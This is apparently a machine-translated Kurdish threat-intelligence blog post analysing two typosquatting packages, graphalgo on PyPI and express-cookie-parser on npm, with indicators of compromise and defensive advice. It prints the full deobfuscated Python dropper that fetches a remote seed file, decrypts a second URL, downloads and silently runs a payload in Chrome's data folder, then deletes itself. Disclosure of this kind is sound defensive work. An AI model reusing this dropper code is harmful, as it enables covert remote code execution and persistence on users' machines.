Xygeni vê dawiyê di sala 2025-an de di warê êrîşên zincîra dabînkirina nermalavê de şêwazek nîgeran dît., ku di nav du rêveberên pakêtên populer de derdikeve holê: PyPI û npmWekî beşek ji hewildanên me yên berdewam ên îstîxbarata gefan,Hişyariya Zû ya Malware ya Xygeni (MEW) amûrê mînakek cuda lê ji hêla metodolojîk ve dişibihe pakêtek xerabkar a ku berê li qeydek din hatî barkirin destnîşan kir. Ev doz nîşan dide ka aktorên gefê çawa teknîkên êrîşê li seranserê ekosîsteman pêş dixin û ji nû ve bikar tînin, nemaze bi rêya pakêtên Pythonê yên xerabkar û pakêtên npm yên zirardar, ku xetera pakêtên xerabkar ên ku di zincîrên dabînkirina çavkaniya vekirî de dikevin zêde dike.
MEW ya Xygeni: Dîtina Hevşibiyan
Amûra MEW ya Xygeni ji bo tespîtkirin û nîşankirina pakêtên zirardar, nemaze yên ku bi Êrîşên Zincîra Dabînkirina Nermalavê di 2025-an de ve girêdayî ne, hatiye çêkirin, hema ku ew li ser qeydên çavkaniya vekirî werin weşandin. Ew bi analîzkirina pakêtên nû ji bo tevgerên gumanbar dixebite.
Di vê rewşê de, wê du destnîşan kir pakêtên Pythonê yên xerabkar (graphalgo li ser PyPI) û pakêtên npm yên zirardar (express-cookie-parser li ser npm).
Pakêtên Python û npm yên xerabkar di êrîşên zincîra dabînkirina nermalavê de (2025)
Werin em taybetmendiyên hevpar ên ku hişyariyên me dane destpêkirin, bikolin:
typosquatting
Herduyan jî hewl dan ku pakêtên heyî yên populer teqlîd bikin.
- grafalgo (PyPI): "Pakêta Python ji bo çêkirin û manîpulekirina graf û toran."Ji hêla bikarhênerekî bi navê ve hatî barkirin "larrytech" di 13ê Hezîrana 2025an de, ev pakêt xwe wekî alternatîfek PyPi ji bo projeya orîjînal a ne-zirardar a graphalgo pêşkêş kir, ku paşê navê wê bû graphdict.
- analîzkera-cookie-ya-express (npm)Ev pakêt pakêta cookie-parser a navdar teqlîd kir, heta pakêta wê jî dubare kir README.md. Ev cure teqlîdkirin taktîkek klasîk e ji bo bikaranîna baweriya heyî.
Tepeserkirin wekî Xeta Yekem a Parastinê
Herdu pakêtan kodên xwe yên xerabkar di nav pelên orîjînal de veşartin. Ji bo grafalgo, koda şaşbûyî di hundir de hate dîtin /utils/load_libraries.py. Di doza analîzkera-cookie-ya-express, cookie-loader.min.js barê barkirinê yê şaşbûyî dihewîne.
Ev qata destpêkê ya şaşbûnê bi gelemperî ji bo astengkirina vekolîna bêserûber û analîza statîk tê bikar anîn. Şaşbûn pir hêsan bû: pêçandina ZLib a dubarekirî û kodkirina Base64. Ev celeb şaşbûn bi zelalî nîşan dide ku nermalav hewl dide ku tevgera xwe veşêre. Li gel delîlên din, ev yek rê da Xygeni MEW ku pakêtan wekî malwareya potansiyel dabeş bike. Di qonaxa piştrastkirinê de, nirxanderên me tavilê skrîptek bêşûştinê amade kirin ku qonaxa dakêşana eşkere ya xerabkar eşkere kir.
Radestkirina Barkêşiyê ya Pir-Qonaxî û Xalek Çavkaniyê ya Hevpar
Herdu pakêt wekî destpêkê kar kirin "droppers, "zemînê ji bo barkêşiya rastîn amade dike. Wan xwedan têkiliyek derveyî ya hevpar bû "toxim"URL-ya pelê:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Ev pelê tovê yê derveyî yê wekhev nîşaneyek xurt a aktorek gefê ya hevpar e. Bi balkêşî, naveroka vê pelê tovê wekî guhêrbarên jîngehê yên sade xuya dike (mînak, JWT_SECRET, PORT), ku dibe ku vekolîna fonksiyona wê ya rastîn şaş bike.
Çareseriya Dînamîk a C2 bi DGA re
Taktîkek sofîstîke ku di van pakêtên xerabkar de tê dîtin, karanîna Algorîtmaya Çêkirina Domainê (DGA) ye ji bo çareserkirina servera Ferman û Kontrolê (C2) bi awayekî dînamîk. Ev teknîk, ku pir caran di êrîşên zincîra dabînkirina nermalava pêşkeftî de di sala 2025-an de tê dîtin, xwe dispêre heşeke SHA256-ê ku ji naveroka pelê tovê hatî wergirtin, digel nirxên din ên kodkirî. Bi vê yekê, binesaziya C2 pir caran diguhere, ku navnîşa reş a kevneşopî pir kêmtir bandor dike. Di vê rewşê de, guhertoya npm nirxek sabît a ... bikar anî. 496AAC7E wekî beşek ji mentiqa DGA-ya xwe.
Avakirina Persistence
Her du êrîşkaran dixwestin hebûneke mayînde li ser pergalên bandorbûyî ava bikin. Stratejiya wan avêtina pelekê bû, startup.py (ji bo PyPi) an jî startup.js (ji bo npm), di nav peldankên daneyên bikarhênerên hevpar ên Google Chrome de li seranserê pergalên xebitandinê yên cihêreng (Windows, Linux, macOS).
Paqijkirina Piştî-Îcrayê
Ji bo kêmkirina şopan, her du skrîptên xerabkar operasyonên paqijkirinê pêk anîn. Ev yek jêbirina pelên wan ên destpêkê yên dropper () di nav xwe de digirt.load_libraries.py, cookie-loader.min.js) û guherandina pelên pakêtên rewa (__init__.py, index.js) ji bo rakirina referansên bo pêkhateyên ku niha hatine jêbirin.
Nîşaneyên Têkçûnê di Pakêtên Python û npm yên Xerabkar de
- Pakêta PyPI: graphalgo (ji hêla larrytech ve hatî weşandin, 13ê Hezîrana 2025an)
- Pakêta npm: express-cookie-parser (bi taybetî guhertoya 1.4.12)
- Gihîştina URL-ya Tovê Hevpar:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Navên Pelên Mayînde:
startup.py(Python)startup.js(JavaScript) - Riyên Berdewam ên Hevpar (girêdayî OS-ê)Di nav navnîşanên daneyên bikarhêner ên Google Chrome de (mînak,
AppData\Local\Google\Chrome\UserData\Scripts\li ser Windows,~/.config/google-chrome/Scripts/li ser Linux, hwd.).
Meriv Çawa Li Dijî Pakêtên Xerabkar Di Êrîşên Zincîra Dabînkirina Nermalavê 2025 De Xwe Biparêze
Rêbazek Pêşniyarkirî ji bo Pêşdebiran
Ev bûyer wekî lêkolînek hêja di rewşa gefên pêşkeftî yên êrîşên zincîra dabînkirina nermalavê yên di sala 2025an de de xizmet dike. Ew destnîşan dike ka pakêtên Pythonê yên xerabkar û pakêtên npm yên xerabkar çawa dikarin bikevin nav ekosîstemên pêbawer, û pir caran ji tespîtkirinê dûr dikevin heya ku pir dereng be. Ji ber vê yekê tespîtkirina zû, amûrên jîr, û paqijiya pergalê ya proaktîf naha beşên girîng ên her xebata DevOps-a ewledar in. Pêşdebir têne teşwîq kirin ku yên jêrîn bifikirin:
Nirxandina Girêdayîbûnê
Heger projeyên we di nav xwe de girtibin grafalgo or analîzkera-cookie-ya-express, dê aqilmend be ku meriv bi rakirina wan re berdewam bike.
- Ji bo PyPI:
pip uninstall graphalgo - Ji bo npm:
npm uninstall express-cookie-parser
Paqijiya Sîstemê
Bifikirin ku hûn skaneke berfireh a pergalê bikin. Her wiha tê pêşniyar kirin ku hûn rêyên peldanka daneyên bikarhênerên Chrome-ê yên hevpar bi destan ji bo her neçaverêkirî kontrol bikin. startup.py or startup.js Pelan
Tedbîrên Ewlekariya Proaktîf
- Girêdaniyên Nû BinirxîneBerî entegrekirinê, rûtînekê saz bikin da ku pakêtên nû bi baldarî werin nirxandin, bi balkişandina ser yên ji weşanxaneyên nenas.
- Amûrên Ewlehiyê yên Yekbûyî BikinAmûrên mîna MEW ya Xygeni, digel Analîza Berhevoka Nermalavê ya din (SCA) çareseriyên, dikarin bi destnîşankirina tevger û lawaziyên gumanbar qatek parastinê ya krîtîk peyda bikin.
- Least PrivilegeXebitandina jîngehên pêşkeftinê bi prensîba îmtiyaza herî kêm dikare bibe alîkar ku bandora potansiyel a lihevkirinekê were sînordarkirin.
- Awareness NetworkÇavdêrîkirina trafîka tora derketî ji bo girêdanên neasayî carinan dikare ragihandinên C2 yên ji hêla DGA ve hatine çêkirin eşkere bike.
Pêkhateyên sereke yên load_libraries.py (ji graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Pelan ji URL-yên diyarkirî derdixe.run_process()Skrîptên Pythonê yên derveyî bi awayekî cuda dimeşîne, û deranê tepeser dike da ku veşartî bimîne.get_output_file_path()Cihê pergalê yê îdeal ji bo pelê startup.py yê domdar diyar dike.remove_self()Paqijkirina piştî darvekirinê ya pelên destpêkê yên zirardar û guhertinên pakêtê organîze dike.simple_shift_encrypt()/simple_shift_decrypt()Fonksiyonên krîptografîk ên xwerû ji bo veşartina kanalên ragihandinê, ji bo pêkanîna DGA-yê girîng in.load_libraries()Fonksiyona navendî ku tevahiya pêvajoya pir-qonaxî, ji dakêşana destpêkê bigire heya pêkanîna barkêşiya dawîn û paqijkirinê, hevrêz dike.
Piştre
Wekî pakêtên din ên potansiyel ên zirardar ên ku ji hêla MEW ve hatine destnîşankirin, dîwarê agir ê girêdayîbûnê tavilê bikarhênerên ku dê van pakêtên zirardar di nav girêdayîbûnên xwe de bihewînin parastin. Piştî piştrastkirinê, me prosedurên agahdarkirinê ji bo her du qeydan şopand, ku piştî nirxandinê her du pakêt jî rakirin.







